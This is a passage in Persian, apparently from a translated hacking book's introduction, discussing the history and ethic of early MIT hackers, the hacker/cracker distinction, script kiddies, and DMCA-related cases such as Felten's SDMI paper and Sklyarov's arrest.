ﺑﺴﯿﺎری ﻣﯽ ﻧﻤﻮدﻧﺪ ،ﺑﺮﻧﺎﻣﻪ ای ﮐﻪ ﺑﺎ ﺗﻌﺪاد ﭘﺎﻧﭻ ﮐﺎرﺗﻬﺎی ﮐﻤﺘﺮ ﺑﺘﻮاﻧﺪ ﻫﻤﺎن ﻧﺘﺎﯾﺞ را ﺣﺎﺻﻞ دﻫﺪ .ﺗﻔﺎوت ﮐﻠﯿﺪی ﺑﯿﻦ اﯾﻦ
دو راﻫﺒﺮد ،رﯾﺰه ﮐﺎری ﺑﺮﻧﺎﻣﻪ در ﻧﯿﻞ ﺑﻪ ﻧﺘﺎﯾﺞ ﺑﻮد.
ﺗﻮاﻧﺎﯾﯽ ﮐﺎﻫﺶ ﺗﻌﺪاد ﭘﺎﻧﭻ ﮐﺎرﺗﻬﺎ ﺑﺮای ﯾﮏ ﺑﺮﻧﺎﻣﻪ ،ﻧﻮﻋﯽ ﺳﻠﻄﻪ ﻫﻨﺮی ﺑﺮ ﮐﺎﻣﭙﯿﻮﺗﺮ ﺑﻮد .آﻧﻬـﺎﯾﯽ ﮐـﻪ اﯾـﻦ ﻫﻨـﺮ را درک
ﻣﯿﮑﺮدﻧﺪ ،اﯾﻦ ﺗﻮاﻧﺎﯾﯽ را ﻣﻮرد ﺗﺤﺴﯿﻦ و ﻗﺪرداﻧﯽ ﻗﺮار ﻣﯽ دادﻧﺪ .ﻫﮑﺮﻫﺎی اوﻟﯿﻪ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ را از وﻇﯿﻔﻪ ای ﻣﻬﻨﺪﺳﯽ
ﺑﻪ ﯾﮏ ﻗﺎﻟﺐ ﻫﻨﺮی ﺗﺒﺪﯾﻞ ﮐﺮدﻧﺪ .اﯾﻦ ﻫﻨﺮ ﻧﯿﺰ ﻣﺎﻧﻨﺪ دﯾﮕﺮ ﻫﻨﺮﻫﺎ ﺗﻮﺳﻂ اﻓﺮادی ﮐﻪ آﻧﺮا درک ﻣﯽ ﮐﺮدﻧﺪ ﻣﻮرد ﺗﻘﺪﯾﺲ
و ﺗﻘﺪﯾﺮ ﻗﺮار ﻣﯽ ﮔﺮﻓﺖ و اﻓﺮاد ﻧﺎ آﮔﺎه ﻫﻢ ﭼﯿﺰی از آن ﺳﺮ در ﻧﻤﯽ آوردﻧﺪ.
اﯾﻦ روش ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﯾﮏ ﺧﺮده ﻓﺮﻫﻨﮓ ﻏﯿﺮرﺳﻤﯽ را ﺑﻮﺟﻮد آورد ﮐﻪ دوﺳـﺘﺪاران زﯾﺒـﺎﯾﯽ ﻫـﮏ را از ﺑـﯽ ﺗﻮﺟﻬـﺎن
ﻧﺴﺒﺖ ﺑﻪ آن ﺗﻤﯿﯿﺰ ﻣﯽ داد .اﯾﻦ ﺧﺮده ﻓﺮﻫﻨﮓ ﺑﺸﺪت ﺑﺮ ﯾﺎدﮔﯿﺮی ﻫﺮﭼﻪ ﺑﯿﺸﺘﺮ و ﺑﺪﺳﺖ آوردن ﺳﻄﻮح ﺗـﺴﻠﻂ ﺑـﺎﻻﺗﺮ
ﻣﺘﻤﺮﮐﺰ ﺑﻮد .آﻧﻬﺎ ﻣﻌﺘﻘﺪ ﺑﻮدﻧﺪ ﮐﻪ اﻃﻼﻋﺎت ﺑﺎﯾﺴﺘﯽ آزاد )راﯾﮕﺎن( ﺑﺎﺷﺪ و ﺑﺎ ﻫﺮ ﭼﯿﺰی ﮐـﻪ در ﻣـﺴﯿﺮ اﯾـﻦ آزادی ﻗـﺮار
ﻣﯿﮕﯿﺮد ﺑﺮﺧﻮرد ﺷﻮد .ﻣﻮاﻧﻌﯽ ﻫﻤﭽﻮن ﻣﻘﺎﻣـﺎت ﻣـﺴﺌﻮل ،ﺑﻮروﮐﺮاﺳـﯽ ﮐـﻼس ﻫـﺎی درﺳـﯽ و ﺗﺒﻌـﯿﺾ ﺑـﻪ آزاد ﻧﺒـﻮدن
اﻃﻼﻋﺎت داﻣﻦ ﻣﯽ زدﻧﺪ .در درﯾﺎﯾﯽ از داﻧﺸﺠﻮﯾﺎن ﻓﺎرغ اﻟﺘﺤﺼﯿﻞ ،اﯾﻦ ﮔﺮوه ﻏﯿﺮرﺳﻤﯽ از ﻫﮑﺮﻫﺎ ﺑﺠﺎی ﻓﮑﺮ ﮐـﺮدن ﺑـﻪ
ﻫﺪف ﮐﻬﻨﻪ ی ﺑﺪﺳﺖ آوردن درﺟﺎت )ﻧﻤﺮات( ﺑﺎﻻﺗﺮ ،ﺑﻪ ﻓﮑﺮ اﻓﺰاﯾﺶ اﻃﻼﻋﺎت ﺧـﻮد ﺑﻮدﻧـﺪ .اﯾـﻦ ﮐـﺸﺶ داﺋـﻢ ﺟﻬـﺖ
ﯾﺎدﮔﯿﺮی و ﮐﺸﻒ ﺑﺮﺗﺮی ﺑﺮ ﻣﺤﺪودﯾﺖ ﻫﺎی رﺳﻤﯽ و ﺳﻨﺘﯽ ﻣﻨﺠﺮ ﺑﻪ ﭘﺬﯾﺮش ﯾﮏ داﻧﺶ آﻣـﻮز دوازده ﺳـﺎﻟﻪ در ﮔـﺮوه
آﻧﻬﺎ ﺷﺪ .اﯾﻦ داﻧﺶ آﻣﻮز اﻃﻼﻋﺎت ﺧﻮﺑﯽ در ﻣﻮرد mainframeﻫﺎی TX-0داﺷﺖ و ﻋﻼﻗﻪ ﺑﺴﯿﺎری ﺑﻪ آﻣﻮﺧﺘﻦ ﻧـﺸﺎن
ﻣﯽ داد .ﺳﻦ ،ﻧﮋاد ،ﺟﻨﺴﯿﺖ ،ﻣﻠﯿﺖ ،ﻣﺤﻞ زﻧﺪﮔﯽ ،ﺷﮑﻞ ﻇﺎﻫﺮی ،ﻣﺬﻫﺐ ،درﺟﻪ آﮐﺎدﻣﯿﮏ و وﺿﻌﯿﺖ اﺟﺘﻤﺎﻋﯽ ﺑﻪ ﻋﻨـﻮان
ﻣﻌﯿﺎر اﺻﻠﯽ ﺑﺮای ﻗﻀﺎوت در ﻣﻮرد دﯾﮕﺮان ﻧﺒﻮد و اﯾﻦ ﻧﻪ ﺑﻪ دﻟﯿﻞ ﺑﺮاﺑﺮی ﻃﻠﺒﯽ ،ﺑﻠﮑﻪ ﺑﻪ دﻟﯿﻞ ﺗﻤﺎﯾﻞ در ﺟﻬﺖ ﭘﯿـﺸﺮﻓﺖ
ﻫﻨﺮ ﺟﺪﯾﺪ اﻟﻮﻻده ﻫﮑﯿﻨﮓ ﺑﻮد.
ﻫﮑﺮﻫﺎ ،ﺷﮑﻮه و ﻋﻈﻤﺘﯽ را در ﻋﻠﻮم ﺧﺸﮏ و ﻗﺮاردادی رﯾﺎﺿﯽ و اﻟﮑﺘﺮوﻧﯿـﮏ ﭘﯿـﺪا ﮐﺮدﻧـﺪ .آﻧﻬـﺎ ﺑﺮﻧﺎﻣـﻪ ﻧﻮﯾـﺴﯽ را در
ﻗﺎﻟﺐ ﺗﺠﻠﯽ ﻫﻨﺮی ﻣﯽ دﯾﺪﻧﺪ و ﮐﺎﻣﭙﯿﻮﺗﺮ اﺑﺰار و اﺳﺒﺎب ﻫﻨﺮی آﻧﻬﺎ ﺑﻮد .اﯾـﻦ ارزش ﻫـﺎی ﻣﻨﺒﻌـﺚ از داﻧـﺶ در ﻧﻬﺎﯾـﺖ
5
ﺗﺤﺖ ﻋﻨﻮان اﺧﻼق ﻫﮑﺮی ) (Hacker's Ethicﻧﺎﻣﮕﺬاری ﺷﺪ .اﺧﻼق ﻫﮑﺮی ﺑﻪ ﻣﻌﻨﯽ ﺳـﺘﻮدن ﻣﻨﻄـﻖ ﺑـﻪ ﻋﻨـﻮان ﯾـﮏ
اﺑﺰار ﻫﻨﺮی و ﺗﺮﻗﯿﺐ ﺟﺮﯾﺎن آزاد اﻃﻼﻋﺎت ،ﺑﺮ ﻃﺮف ﮐﺮدن ﻣﺮزﻫﺎ و ﻣﺤﺪودﯾﺖ ﻫﺎی ﻗﺮاردادی ﺑﻪ ﻣﻨﻈﻮر ﻓﻬﻢ ﺑﻬﺘﺮ دﻧﯿﺎ
ﺑﻮد .اﯾﻦ ﯾﮏ روﯾﺪاد ﺟﺪﯾﺪ ﻧﺒﻮد؛ ﭘﯿـﺮوان ﻓﯿﺜـﺎﻏﻮرس در ﯾﻮﻧـﺎن ﺑﺎﺳـﺘﺎن ﻧﯿـﺰ دارای اﺧﻼﻗﯿـﺎت و ﺧـﺮده ﻓﺮﻫﻨـﮓ ﻫـﺎی
ﻣﺸﺎﺑﻬﯽ ﺑﻮدﻧﺪ ،ﮔﺮﭼﻪ ﺑﻪ ﮐﺎﻣﭙﯿﻮﺗﺮ دﺳﺘﺮﺳﯽ ﻧﺪاﺷـﺘﻨﺪ .آﻧﻬـﺎ زﯾﺒـﺎﯾﯽ را در رﯾﺎﺿـﯿﺎت ﻣـﯽ دﯾﺪﻧـﺪ و ﺑـﺴﯿﺎری از ﻣﻔـﺎﻫﯿﻢ
اﺳﺎﺳﯽ و اﺻﻠﯽ را در ﻋﻠﻮم ﻫﻨﺪﺳﻪ ﮐﺸﻒ ﮐﺮدﻧﺪ .ﺗﺸﻨﮕﯽ و اﺷﺘﯿﺎق آﻧﻬﺎ ﺑﺮای ﮐﺴﺐ و ﯾﺎﻓﺘﻪ ﻫﺎی آﻧﻬﺎ در ﻃﻮل ﺗﺎرﯾﺦ )از
ﻓﯿﺜﺎﻏﻮرس ﺗﺎ آدا ﻟﻮﺑﻼس ،آﻟﻦ ﺗﺮﯾﻨﮓ و ﻫﮑﺮﻫﺎی ﺑﺎﺷﮕﺎه (MIT Model Railroadﺑﺎﻗﯽ ﻣـﯽ ﻣﺎﻧـﺪ .ﭘﯿـﺸﺮﻓﺖ ﻋﻠـﻮم
ﮐﺎﻣﭙﯿﻮﺗﺮی ﻫﻤﭽﻨﺎن اداﻣﻪ ﻣـﯽ ﯾﺎﺑـﺪ و ﺑـﻪ اﻓـﺮادی ﻣﺎﻧﻨـﺪ رﯾﭽـﺎرد اﺳـﺘﺎﻟﻤﻦ ) (Richard Stallmanو اﺳـﺘﯿﻮ وﺳـﻨﯿﺎک
) (Steve Wozniakﻣﯽ رﺳﺪ .اﯾﻦ ﻫﮑﺮﻫﺎ ﺑﺮای ﻣﺎ ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ ﻫﺎی ﻣﺪرن ،زﺑﺎن ﻫﺎی ﺑﺮﻧﺎﻣـﻪ ﻧﻮﯾـﺴﯽ ،ﮐﺎﻣﭙﯿﻮﺗﺮﻫـﺎی
ﺷﺨﺼﯽ ﻣﺪرن و ﭘﯿﺸﺮﻓﺖ ﻫﺎی ﻓﻨﯽ ﺑﺴﯿﺎری را ﮐﻪ ﻫﺮ روز ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ ،ﺑﻪ ارﻣﻐﺎن آوردﻧﺪ.
ﺑﻨﺎﺑﺮاﯾﻦ ﭼﮕﻮﻧﻪ ﻣﯽ ﺗﻮان ﺑﯿﻦ ﻫﮑﺮﻫﺎی ﺧﻮب )ﮐﻪ ﺑﺮای ﻣﺎ ﭘﯿﺸﺮﻓﺖ ﻫﺎی ﻓﻨﯽ را ﺑﻪ ارﻣﻐﺎن ﻣﯽ آوردﻧﺪ( و ﻫﮑﺮﻫﺎی ﻣﻀﺮ
)ﮐﻪ اﻃﻼﻋﺎت ﻣﺎ را ﺳﺮﻗﺖ ﻣﯽ ﮐﻨﻨﺪ( ﺗﻤﺎﯾﺰ ﻗﺎﺋﻞ ﺷﺪ؟! ﺑﻪ اﯾﻦ ﺻﻮرت واژه ﮐِﺮَﮐِﺮ ) ،(Crackerﺧﻄﺎب ﺑﻪ ﻫﮑﺮﻫﺎی ﻣـﻀﺮ
اﺳﺘﻔﺎده ﺷﺪ ،ﺗﺎ آﻧﻬﺎ را از ﻫﮑﺮﻫﺎی ﺧﻮب و ﻣﻔﯿﺪ ﻣﺘﻤﺎﯾﺰ ﺳﺎزد .روزﻧﺎﻣﻪ ﻧﮕﺎرﻫﺎ و ﻧﻮﯾﺴﻨﺪه ﻫﺎ ﻫﺮ روزه اذﻋﺎن ﺑﻪ ﺑﺪ ﺑﻮدن
ﮐﺮﮐﺮﻫﺎ ﻣﯽ ﮐﺮدﻧﺪ ،در ﺣﺎﻟﯿﮑﻪ ﻫﮑﺮﻫﺎ اﻓﺮادی ﻣﻔﯿﺪ و ﺧﻮب ﺑﻮدﻧﺪ .ﻫﮑﺮﻫﺎ در اﺧﻼق ﻫﮑﺮی راﺳﺖ و ﭘﺎﺑﺮﺟﺎ ﻣﺎﻧﺪﻧﺪ ،اﻣـﺎ
ﮐﺮﮐﺮﻫﺎ ﺗﻨﻬﺎ ﻋﻼﻗﻪ ﻣﻨﺪ ﺑﻪ ﺷﮑﺴﺘﻦ ﻗﺎﻧﻮن ﺑﻮدﻧﺪ .ﮐﺮﮐﺮﻫﺎ در ﻣﻘﺎﺑﻞ ﻫﮑﺮﻫﺎ ﺑﺎ اﺳﺘﻌﺪادﻫﺎی ﺑﯿﺸﺘﺮی ﺑﻪ ﻧﻈـﺮ ﻣـﯽ آﻣﺪﻧـﺪ،
وﻟﯽ در ﺣـﻘﯿﻘﺖ آﻧﻬﺎ از اﺑﺰارﻫﺎ و اﺳﮑﺮﯾﭙﺖ ﻫﺎﯾﯽ ﮐﻪ ﻫﮑﺮﻫﺎ ﻧﻮﺷﺘﻪ و ﻃﺮاﺣﯽ ﮐﺮده ﺑﻮدﻧﺪ اﺳـﺘﻔﺎده ﻣـﯽ ﮐﺮدﻧـﺪ .ﻋﻨـﻮان
ﮐﺮﮐﺮ ﺑﻪ ﻓﺮدی ﮐﻪ ﮐﺎری ﻏﯿﺮاﺧﻼﻗﯽ ﺑﺎ ﮐﺎﻣﭙﯿﻮﺗﺮ اﻧﺠﺎم ﻣﯽ داد اﻃﻼق ﻣﯽ ﺷﺪ -ﮐﭙﯽ ﮐﺮدن ﻧﺮم اﻓﺰارﻫﺎ ﺑـﻪ ﺻـﻮرت ﻏﯿـﺮ
ﻗﺎﻧﻮﻧﯽ deface ،ﮐﺮدن وب ﺳﺎﯾﺘﻬﺎ و ﺑﺪﺗﺮ از ﻫﻤﻪ اﯾﻦ ﮐﻪ ﺧﻮد ﻧﻤﯽ داﻧﺴﺘﻨﺪ ،ﭼﻪ ﻣﯽ ﮐﻨﻨﺪ .اﻣﺎ اﻣﺮوزه اﻓﺮاد ﻣﻌـﺪودی از
اﯾﻦ ﮐﻠﻤﻪ ﺑﺮای اﯾﻦ ﻣﻨﻈﻮر اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ.
ﻧﺒﻮدن ﻋﺒﺎرات ﻫﻤﻪ ﻓﻬﻢ ﻣﻤﮑﻦ اﺳﺖ ﻧﺎﺷﯽ از ﺗﻌﺎرﯾﻒ ﻧﺎﻣﻨﺎﺳﺐ آن ﻋﺒﺎرات ﺑﺎﺷﺪ -ﮐﻠﻤﻪ ﮐﺮﮐﺮ در اﺻـﻞ ﺑـﺮای ﺗﻮﺻـﯿﻒ
اﻓﺮادی ﺑﮑﺎر ﻣﯽ رﻓﺖ ﮐـﻪ ﻧـﺮم اﻓﺰارﻫـﺎی ﮐﭙـﯽ راﯾـﺖ را ﮐـﺮک و اﻟﮕﻮﻫـﺎی ﻣﺤﺎﻓﻈـﺖ از ﮐﭙـﯽ 2را ﻣﻬﻨﺪﺳـﯽ ﻣﻌﮑـﻮس
ﻣﯿﮑﺮدﻧﺪ .ﻋﺒﺎرت ﮐﺮﮐﺮ ﻣﻤﮑﻦ اﺳﺖ ﺑﺴﺎدﮔﯽ از ﺗﻌﺮﯾﻒ ﺟﺪﯾﺪش ﺳﺮﭼﺸﻤﻪ ﮔﯿﺮد ﮐﻪ ﻫـﻢ ﺑـﻪ ﮔﺮوﻫـﯽ از اﻓـﺮاد ﮐـﻪ ﺑـﻪ
ﺻﻮرت ﻏﯿﺮﻗﺎﻧﻮﻧﯽ ﺑﺎ ﮐﺎﻣﭙﯿﻮﺗﺮ ﮐﺎر ﻣﯽ ﮐﻨﻨﺪ و ﻫﻢ ﺑﻪ اﻓﺮادی ﮐﻪ ﻧﺴﺒﺘﺎ ﻫﮑﺮﻫﺎی ﺧﺎم و ﺑﯽ ﺗﺠﺮﺑﻪ ﻫﺴﺘﻨﺪ ،اﻃﻼق ﻣﯽ ﺷﻮد.
ﭼﻨﺪی از روزﻧﺎﻣﻪ ﻧﮕﺎران ﺣﺲ ﮐﺮدﻧﺪ ﮐﻪ ﻣﺠﺒﻮر ﺑﻪ ﻧﻮﺷﺘﻦ در ﻣﻮرد ﮔﺮوﻫﯽ ﺑﯽ ﺗﺠﺮﺑﻪ )ﺗﺤﺖ ﻋﻨﻮان ﮐﺮﮐﺮ( ﻫﺴﺘﻨﺪ ﮐـﻪ
ﻋﻤﻮم ﻣﺮدم ﺑﺎ آﻧﻬﺎ ﻧﺎ آﺷﻨﺎ ﻣﯽ ﺑﺎﺷﻨﺪ .واژه Script Kiddieﻧﯿﺰ ﺑﻪ ﮐﺮﮐﺮﻫـﺎ اﻃـﻼق ﻣـﯽ ﺷـﺪ ،اﻣـﺎ ﺑـﻪ ﻣﻌﻨـﺎی ﻣـﺼﻄﻠﺢ
روزﻧﺎﻣﻪ ﻧﮕﺎران ﻧﺒﻮد .ﻫﻨﻮز ﻋﺪه ای اﺳﺘﺪﻻل ﻣﯽ ﮐﻨﻨﺪ ﮐﻪ ﺑﯿﻦ ﻫﮑﺮﻫﺎ و ﮐﺮﮐﺮﻫﺎ ﺗﻤﺎﯾﺰ وﺟﻮد دارد .اﻣﺎ ﻣﻦ ﻣﻌﺘﻘـﺪ ﻫـﺴﺘﻢ
ﮐﻪ ﻫﺮﮐﺴﯽ ﮐﻪ دارای روح ﻫﮑﺮی اﺳﺖ ،ﯾﮏ ﻫﮑﺮ اﺳﺖ ،ﺻﺮﻓﻨﻈﺮ از اﯾﻨﮑﻪ آﯾﺎ او ﻗﺎﻧﻮن ﺷﮑﻨﯽ ﻣﯽ ﮐﻨﺪ ﯾﺎ ﺧﯿﺮ.
ﻗﻮاﻧﯿﻦ ﻣﺪرن ﺑﺎ ﻣﺤﺪود ﮐﺮدن رﻣﺰﻧﮕﺎری 3و ﺗﺤﻘﯿﻘﺎت در اﯾﻦ راﺳـﺘﺎ ،ﻣـﺮز ﺑـﯿﻦ ﻫﮑـﺮ و ﮐﺮﮐـﺮ را ﺑـﺎز ﻫـﻢ روﺷـﻦ ﺗـﺮ
ﻣﯿﺴﺎزﻧﺪ .در ﺳﺎل ،2001ﭘﺮوﻓﺴﻮر ادوارد ﻓﻠﺘﻦ ) (Edward Feltenو ﺗﯿﻢ ﺗﺤﻘﯿﻘﯽ اش از داﻧﺸﮕﺎه ﭘﺮﯾﻨـﺴﺘﻮن ﺑـﺮ آن
ﺑﻮدﻧﺪ ﮐﻪ ﻧﺘﺎﯾﺞ ﺗﺤﻘﯿﻘﺎﺗﺸﺎن را ﻣﻨﺘﺸﺮ ﮐﻨﻨﺪ -ﻣﻘﺎﻟﻪ ای ﮐﻪ ﺿﻌﻒ ﻫﺎی ﻃﺮح ﻫﺎی ﻣﺨﺘﻠﻒ Digital Watermarkingرا
ﺑﻪ ﺗﺼﻮﯾﺮ ﻣﯽ ﮐﺸﯿﺪ.
اﯾﻦ ﻣﻘﺎﻟﻪ در ﺟﻮاب ﺑﻪ ﭼﺎﻟﺶ ﻃﻠﺒﯽ ﺷﺮﮐﺖ ﻣﻮﺳﯿﻘﯽ دﯾﺠﯿﺘﺎل اﯾﻤﻦ ) (SDMIاراﺋﻪ ﮔﺮدﯾﺪ ﮐﻪ ﻋﻤﻮم ﻣـﺮدم را در ﺟﻬـﺖ
ﺷﮑﺴﺘﻦ اﯾﻦ ﻃﺮح ﻫﺎی آﺑﮑﯽ )ﺿﻌﯿﻒ( ﺗﺸﻮﯾﻖ ﻣﯽ ﻧﻤﻮد .ﻗﺒﻞ از اﯾﻨﮑﻪ آﻧﻬﺎ اﯾﻦ ﻣﻘﺎﻟﻪ را ﻣﻨﺘﺸﺮ ﮐﻨﻨﺪ ،ﻫـﻢ ﺑﻨﯿـﺎد SDMI
و ﻫﻢ ﺑﻨﯿﺎد ﻧﻬﺎد ﺿﺒﻂ روﯾﻪ ﻫﺎی آﻣﺮﯾﮑﺎ ) (RIAAرا ﺗﻬﺪﯾﺪ ﮐﺮده ﺑﻮدﻧـﺪ .ﻇـﺎﻫﺮا ﻗـﻮاﻧﯿﻦ ﮐﭙـﯽ راﯾـﺖ دﯾﺠﯿﺘـﺎﻟﯽ ﻫـﺰاره
) (DMCAدر ﺳﺎل ،1998ﺑﺤﺚ ﯾﺎ ﺗﺎﻣﯿﻦ ﺗﮑﻨﻮﻟﻮژی را ﮐﻪ اﻣﮑﺎن اﺳﺘﻔﺎده از آن ﺟﻬﺖ دور زدن ﮐﻨﺘﺮل ﻫـﺎی ﻣـﺼﺮﻓﯽ
2
Copy Protection Schemes
3
Cryptography
6
ﺻﻨﻌﺘﯽ ﺑﺎﺷﺪ ﻣﻨﻊ ﻣﯽ ﮐﺮد .اﯾﻦ ﻫﻤﺎن ﻗﺎﻧﻮﻧﯽ اﺳﺖ ﮐﻪ ﻋﻠﯿﻪ دﻣﯿﺘﺮی اﺳﮑﻠﯿﺎروف ) ،(Dmitry Sklyarovﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ و
ﻫﮑﺮ روﺳﯽ اﺳﺘﻔﺎده ﺷﺪ .او ﻧﺮم اﻓﺰاری را ﺟﻬﺖ ﻓﺎﺋﻖ آﻣﺪن ﺑﺮ رﻣﺰﻧﮕﺎری ﺳﺎده ی ﻧﺮم اﻓـﺰار ﺷـﺮﮐﺖ Adobeﻧﻮﺷـﺘﻪ
ﺑﻮد و ﯾﺎﻓﺘﻪ ﻫﺎﯾﺶ را در ﯾﮏ ﻫﻤﺎﯾﺶ ﻫﮑﺮی در آﻣﺮﯾﮑﺎ اﺑﺮاز ﮐـﺮده ﺑـﻮد FBI .ﺑـﺴﺮﻋﺖ او را ﺗﻮﻗﯿـﻒ ﮐـﺮد و ﺑـﻪ اﯾـﻦ
ﺗﺮﺗﯿﺐ ﯾﮏ ﻧﺒﺮد ﻃﻮﻻﻧﯽ ﻣﺪت ﻗﺎﻧﻮﻧﯽ ﺳﺮ ﮔﺮﻓﺖ .ﺑﺮ اﺳﺎس ﻗﺎﻧﻮن ،ﭘﯿﭽﯿﺪﮔﯽِ ﮐﻨﺘﺮل ﻫﺎی ﻣﺼﺮﻓﯽ ﺻﻨﻌﺘﯽ ﻣﻬﻢ ﻧﯿـﺴﺖ-
از ﻟﺤﺎظ ﻓﻨﯽ ،ﻣﻬﻨﺪﺳﯽ ﻣﻌﮑﻮس ﯾﺎ ﺣﺘﯽ ﺑﺤﺚ در ﻣﻮرد ) Pig Latinزﺑﺎن ﺷﺒﻪ-ﻻﺗﯿﻨﯽ ﮐﻪ ﻫﮑﺮﻫﺎ و ﮔﺎﻫﯽ اوﻗﺎت ﭘﻠﯿﺴﻬﺎ
از آن اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ( ،در ﺻﻮرﺗﯽ ﮐﻪ از آﻧﻬﺎ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﮐﻨﺘﺮل ﻣﺼﺮﻓﯽ ﺻﻨﻌﺘﯽ اﺳﺘﻔﺎده ﺷﻮد ،ﻣﻤﻨﻮع ﺑﻮد .ﺑﺎ ﺗﻮﺟـﻪ
ﺑﻪ ﻣﻄﺎﻟﺐ ﭘﯿﺶ ﮔﻔﺘﻪ ﻫﮑﺮﻫﺎ و ﮐﺮﮐﺮﻫﺎ ﭼﻪ ﮐﺴﺎﻧﯽ ﻫﺴﺘﻨﺪ؟ ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﻗﻮاﻧﯿﻦ در ﺻﺤﺒﺖ آزاداﻧـﻪ دﺧﺎﻟـﺖ دارﻧـﺪ ،آﯾـﺎ
ﮐﺮﮐﺮﻫﺎی ﺧﻮب ﮐﻪ ﻧﻈﺮﺷﺎن را اﺑﺰار ﻣﯽ ﮐﻨﻨﺪ ﺑﺪ ﻣﯽ ﺷﻮﻧﺪ؟ ﻣﻌﺘﻘﺪم ﮐﻪ روﺣﯿﻪ ﻫﮑﺮی ﺑﺮ ﻗـﻮاﻧﯿﻦ دوﻟﺘـﯽ ﺑﺮﺗـﺮی دارد،
ﻫﻤﭽﻨﺎن در ﻫﺮ ﮔﺮوه اﻃﻼﻋﺎﺗﯽ ،ﻫﻤﯿﺸﻪ اﻓﺮادی وﺟﻮد داﺷﺘﻪ اﻧﺪ ﮐﻪ از اﯾﻦ اﻃﻼﻋﺎت ﺑﺮای اﺟﺮای اﻫﺪاف ﺷـﻮم اﺳـﺘﻔﺎده
ﮐﺮده ﺑﺎﺷﻨﺪ.
داﻧﺸﻤﻨﺪان ﻓﯿﺰﯾﮏ ﻫﺴﺘﻪ ای و ﺑﯿﻮﺷﯿﻤﯽ را ﻣﯽ ﺗﻮان ﺑﺮای ﻗﺘﻞ و ﻏﺎرت ﺑﻪ ﮐﺎر ﮔﻤﺎرد ،اﻣﺎ ﻫﻨﻮز آﻧﻬﺎ ﺑـﺮای ﻣـﺎ ﻣﻬﻤﺘـﺮﯾﻦ
ﭘﯿﺸﺮﻓﺖ ﻋﻠﻤﯽ و داروﻫﺎی ﻣﺪرن را ﺑﻪ ارﻣﻐﺎن ﻣﯽ آورﻧﺪ .ﻫﯿﭻ ﭼﯿﺰ ﺧﻮب ﯾﺎ ﺑﺪی راﺟﻊ ﺑﻪ ﺧﻮد اﻃﻼﻋﺎت و داﻧﺶ وﺟـﻮد
ﻧﺪارد؛ اﺧﻼق ،در ﮐﺎرﺑﺮد آن داﻧﺶ ﻧﻬﻔﺘﻪ اﺳﺖ .ﺣﺘﯽ اﮔﺮ ﻣﺎ ﺑﺨﻮاﻫﯿﻢ ﻧﻤﯽ ﺗـﻮاﻧﯿﻢ داﻧـﺶ را ﻣﺘﻮﻗـﻒ ﮐﻨـﯿﻢ ،ﻣﺜـﻞ ﺗﻮﻗـﻒ
ﭼﮕﻮﻧﮕﯽ ﺗﺒﺪﯾﻞ ﻣﻮاد ﺑﻪ اﻧﺮژی ﯾﺎ ﺗﻮﻗﻒ ﺟﺮﯾﺎن ﭘﯿﻮﺳﺘﻪ در ﭘﯿﺸﺮﻓﺖ ﻓﻨﺎوریِ ﺟﺎﻣﻌﻪ .ﺑﻪ ﻫﻤﺎن ﺗﺮﺗﯿـﺐ روﺣﯿـﻪ ﻫﮑـﺮی را
ﻧﻤﯽ ﺗﻮان ﻫﺮﮔﺰ ﻣﺘﻮﻗﻒ ﮐﺮد ،ﺣﺘﯽ ﻧﻤﯽ ﺗﻮان ﺑﺴﺎدﮔﯽ آﻧﺮا ﻃﺒﻘﻪ ﺑﻨﺪی ﯾﺎ ﮐﺎﻟﺒﺪ ﺷﮑﺎﻓﯽ ﮐﺮد .ﻫﮑﺮﻫﺎ داﺋﻤﺎ ﻣﺤﺪودﯾﺖ ﻫﺎ
را ﮐﻨﺎر ﻣﯽ زﻧﻨﺪ ،ﻟﺬا ﻣﺎ را ﺑﻪ ﺳﻮی اﮐﺘﺸﺎف ﻫﺮ ﭼﻪ ﺑﯿﺸﺘﺮ ﻫﺪاﯾﺖ ﻣﯽ ﮐﻨﻨﺪ.
ﻣﺘﺎﺳﻔﺎﻧﻪ ﮐﺘﺎب ﻫﺎﯾﯽ ﺑﺎ ﻋﻨﻮان ﮐﺘﺎب ﻫﺎی ﻫﮏ وﺟﻮد دارﻧﺪ ﮐﻪ ﭼﯿﺰی ﺟﺰ ﺧﻼﺻﻪ ای از ﺗﺠﺮﺑﯿﺎت اﻓـﺮاد دﯾﮕـﺮ ﻧﯿـﺴﺘﻨﺪ.
آﻧﻬﺎ ﺑﻪ ﺧﻮاﻧﻨﺪه ﻃﺮز اﺳﺘﻔﺎده از اﺑﺰار ﻣﻮﺟﻮد در ﯾﮏ CDرا ﻣﯽ آﻣﻮزﻧﺪ ،ﺑﺪون ﺗﻮﺿﯿﺢ ﺗﺌﻮری ﭘﻨﻬﺎن در اﯾﻦ اﺑﺰار و ﻟـﺬا
ﻓﺮدی را ﺗﺮﺑﯿﺖ ﻣﯽ ﮐﻨﻨﺪ ﮐﻪ ﻓﻘﻂ در اﺳﺘﻔﺎده از اﺑﺰار دﯾﮕﺮان ﺗﺒﺤﺮ دارد! اﯾﻦ اﻓﺮاد ﻗﺎدر ﺑﻪ ﻓﻬﻢ اﯾﻦ اﺑﺰار ﯾﺎ ﺗﻮﻟﯿﺪ اﺑﺰار
ﺟﺪﯾﺪی ﻧﯿﺴﺘﻨﺪ .ﺷﺎﯾﺪ واژه ﻫﺎی Script Kiddieﮐﺎﻣﻼ در ﺧﻮر و ﺷﺎﯾﺴﺘﻪ آﻧﻬﺎ ﺑﺎﺷﺪ.
ﻫﮑﺮﻫﺎی واﻗﻌﯽ ﭘﯿﺸﮕﺎم ﻫﺴﺘﻨﺪ :آﻧﻬﺎ ﮐﻪ ﻣﺘﺪﻫﺎ را ﭘﺎﯾﻪ ﮔﺬاری ﮐﺮده و اﺑﺰاری را ﻣﯽ ﺳﺎزﻧﺪ ﮐﻪ در CDﻫـﺎی ﯾـﺎد ﺷـﺪه
